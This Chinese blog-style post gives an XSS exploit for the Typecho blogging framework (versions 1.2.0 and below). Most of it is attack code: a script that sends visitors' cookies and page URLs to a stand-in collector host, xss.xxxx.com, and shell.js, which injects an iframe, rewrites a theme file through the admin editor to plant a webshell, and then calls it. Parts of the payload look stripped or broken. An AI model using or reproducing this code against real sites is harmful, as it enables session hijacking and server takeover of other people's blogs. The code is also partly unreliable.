码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Typecho框架漏洞


    这里说的框架漏洞只适用于1.2.0版本及以下的版本

    这里说的漏洞是xss漏洞,学过渗透的应该都学过,我在这里就不过多阐述了,下面我们直接进入正题

    直接在这个地方插入网址,后面再接上html代码即可,代码如下:

    http://xxx.xxx.com/">

    1. // 定义一个全局变量 website,值为一个具体的网址
    2. var website = "http://xss.xxxx.com";
    3. // 声明并立即执行一个匿名函数
    4. (function() {
    5. // 创建 Image 对象,并给它的 src 属性赋值为 website 和一些参数
    6. (new Image()).src = website
    7. + "/?keepsession=1"
    8. + "&location=" + escape((function() {
    9. try {
    10. // 尝试获取当前文档的 URL
    11. return document.location.href;
    12. } catch (e) {
    13. // 如果出错,返回一个空字符串
    14. return '';
    15. }
    16. })())
    17. + "&toplocation=" + escape((function() {
    18. try {
    19. // 尝试获取顶层窗口的 URL
    20. return top.location.href;
    21. } catch (e) {
    22. // 如果出错,返回一个空字符串
    23. return '';
    24. }
    25. })())
    26. + "&cookie=" + escape((function() {
    27. try {
    28. // 获取当前文档的 cookie
    29. return document.cookie;
    30. } catch (e) {
    31. // 如果出错,返回一个空字符串
    32. return '';
    33. }
    34. })())
    35. + "&opener=" + escape((function() {
    36. try {
    37. // 获取打开当前窗口的窗口的 URL
    38. return (window.opener && window.opener.location.href) ? window.opener.location.href : '';
    39. } catch (e) {
    40. // 如果出错,返回一个空字符串
    41. return '';
    42. }
    43. })());
    44. })();

    shell.js

    1. function step1(){
    2. // 创建一个包含要注入的 iframe 的 HTML 字符串
    3. var data2="";
    4. // 保存原网页内容
    5. var oldata=document.body.innerHTML;
    6. // 将注入的 iframe 添加到文档中
    7. document.body.innerHTML=(oldata+data2);
    8. }
    9. // times 和 g_shell 变量用来跟踪 poc 函数执行的次数和是否已经成功注入 webshell
    10. var times=0;
    11. var g_shell=0;
    12. function poc(){
    13. // 如果执行次数 >= 10,或者已经成功注入 webshell,就不再执行
    14. if(times<=10){
    15. // 获取要修改的 DOM 节点和触发“保存修改”操作的按钮
    16. var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
    17. var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
    18. // 保存要修改的原始数据,将要注入的 webshell 代码添加到末尾
    19. olddatas=htmldata.innerText;
    20. htmldata.innerText=('\n')+olddatas;
    21. // 点击保存按钮,提交修改后的数据
    22. btn[1].click();
    23. // 增加 poc 函数的执行次数
    24. times+=1;
    25. // 如果已经成功注入 webshell,通过 AJAX 请求访问 webshell 接口
    26. if(g_shell==1){
    27. var xhr1=new XMLHttpRequest();
    28. xhr1.open('get','/usr/themes/Kratos/404.php?shell=1');
    29. xhr1.send();
    30. }
    31. else{
    32. return 0;
    33. }
    34. }
    35. }
    36. // 在页面加载完成后执行 step1 函数
    37. step1();

    然后这里就像上面反弹xss代码一样书写网址

    http://xxx.xxx.com/cookie.js">